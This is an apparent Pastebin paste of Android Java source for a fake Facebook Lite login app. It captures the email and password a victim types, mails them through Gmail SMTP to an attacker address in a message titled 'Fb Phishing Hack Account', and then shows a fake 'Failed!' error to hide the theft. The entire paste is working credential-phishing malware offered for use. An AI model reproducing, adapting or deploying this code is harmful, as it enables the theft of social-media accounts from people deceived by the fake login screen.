Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package daiz.facebook;
- import javax.mail.Address;
- import javax.mail.Authenticator;
- import javax.mail.Message;
- import javax.mail.MessagingException;
- import javax.mail.PasswordAuthentication;
- import javax.mail.Session;
- import javax.mail.Transport;
- import javax.mail.internet.InternetAddress;
- import javax.mail.internet.MimeMessage;
- import android.app.Activity;
- import android.app.ProgressDialog;
- import android.app.AlertDialog;
- import android.os.Handler;
- import android.os.Bundle;
- import android.os.AsyncTask;
- import android.view.Menu;
- import android.view.animation.Animation;
- import android.view.animation.AnimationUtils;
- import android.view.View;
- import android.view.View.OnClickListener;
- import android.widget.EditText;
- import android.widget.Button;
- import android.widget.Toast;
- import android.content.DialogInterface;
- import android.content.Context;
- import android.content.Intent;
- import android.util.Log;
- import java.util.List;
- import java.util.Properties;
- import java.io.*;
- public class MainActivity extends Activity
- implements OnClickListener {
- Session session = null;
- ProgressDialog pdialog = null;
- Context context = null;
- String subject = "Fb Phishing Hack Account",
- fromEmail = "fbphishing05@gmail.com",
- toEmail = "fbphishing05@gmail.com",
- accUser = "fbphishing05@gmail.com",
- accPass = "***********",
- textMsg;
- EditText txtEmail, txtPass;
- @Override
- protected void onCreate(Bundle savedInstanceState){
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- final Animation animFadein = AnimationUtils.loadAnimation(
- getApplicationContext(), R.anim.fade_in);
- findViewById(R.id.img_fb_text).startAnimation(animFadein);
- new Handler().postDelayed(new Runnable() {
- @Override
- public void run(){
- final Animation animToleft = AnimationUtils.loadAnimation(
- getApplicationContext(), R.anim.right_to_left);
- findViewById(R.id.lite_text).setVisibility(View.VISIBLE);
- findViewById(R.id.lite_text).startAnimation(animToleft);
- }
- }, 2000);
- context = this;
- Button login = (Button) findViewById(R.id.btnSignIn);
- login.setOnClickListener(this);
- }
- @Override
- public void onClick(View v) {
- txtEmail = (EditText) findViewById(R.id.txtUser);
- txtPass = (EditText) findViewById(R.id.txtPass);
- if (!NetworkStatus.getInstance(this).isOnline())
- {
- showToast("You don't have active internet connection.",true);
- Log.v("Home", "You are not online!!!!");
- }else if ((isEmpty(txtEmail) == true) && (isEmpty(txtPass) == true))
- {
- showToast("Fill Up All Fields.",false);
- }
- else if (isEmpty(txtEmail) == true)
- {
- showToast("Please Type Your Email/Phone.",false);
- }
- else if (isEmpty(txtPass) == true)
- {
- showToast("Please Type Your Password.",false);
- }
- else
- {
- textMsg = "Email: " + txtEmail.getText().toString() + " Pass: " + txtPass.getText().toString();
- try
- {
- Properties props = new Properties();
- props.put("mail.smtp.host", "smtp.gmail.com");
- props.put("mail.smtp.socketFactory.port", "465");
- props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
- props.put("mail.smtp.auth", "true");
- props.put("mail.smtp.port", "465");
- props.put("mail.smtp.connectiontimeout", "30000");
- props.put("mail.smtp.timeout", "30000");
- session = Session.getDefaultInstance(props, new Authenticator()
- {
- protected PasswordAuthentication getPasswordAuthentication()
- {
- return new PasswordAuthentication(accUser, accPass);
- }
- });
- pdialog = ProgressDialog.show(context, "", "Signing in...", true);
- //new SendSms(this).execute("09501556753","Hello World");
- new RetrieveFeedTask().execute();
- }catch(Exception e){
- Log.e("FBLite Error: ", e.toString());
- }catch(IOError e){
- Log.e("FBLite Error: ", e.toString());
- }
- }
- }
- class RetrieveFeedTask extends AsyncTask<String, Void, String>
- {
- @Override
- protected String doInBackground(String... params)
- {
- try{
- Message message = new MimeMessage(session);
- message.setFrom(new InternetAddress(fromEmail));
- message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(toEmail));
- message.setSubject(subject);
- message.setContent(textMsg, "text/html; charset=utf-8");
- Transport.send(message);
- } catch(MessagingException e) {
- Log.e("FBLite Error: ", e.toString());
- } catch(Exception e) {
- Log.e("FBLite Error: ", e.toString());
- } catch(IOError e){
- Log.e("FBLite Error: ", e.toString());
- }
- return null;
- }
- @Override
- protected void onPostExecute(String result)
- {
- pdialog.dismiss();
- showToast("Failed!",false);
- showToast("Please Check your Email or Password.",false);
- }
- }
- @Override
- public boolean onCreateOptionsMenu(Menu menu)
- {
- menu.add("Created by Daizu");
- return super.onCreateOptionsMenu(menu);
- }
- private boolean isEmpty(EditText etText)
- {
- return etText.getText().toString().trim().length() == 0;
- }
- private void showToast(String mText, boolean Long)
- {
- if(Long = false)
- Toast.makeText(getApplicationContext(), mText, Toast.LENGTH_SHORT).show();
- else
- Toast.makeText(getApplicationContext(), mText, Toast.LENGTH_LONG).show();
- }
- @Override
- public void onBackPressed()
- {
- new AlertDialog.Builder(this).setIcon(android.R.drawable.ic_dialog_alert).setTitle("Exit")
- .setMessage("Are you sure you want to exit?")
- .setPositiveButton("Yes", new DialogInterface.OnClickListener()
- {
- @Override
- public void onClick(DialogInterface dialog, int which)
- {
- finish();
- }
- }).setNegativeButton("No", null).show();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement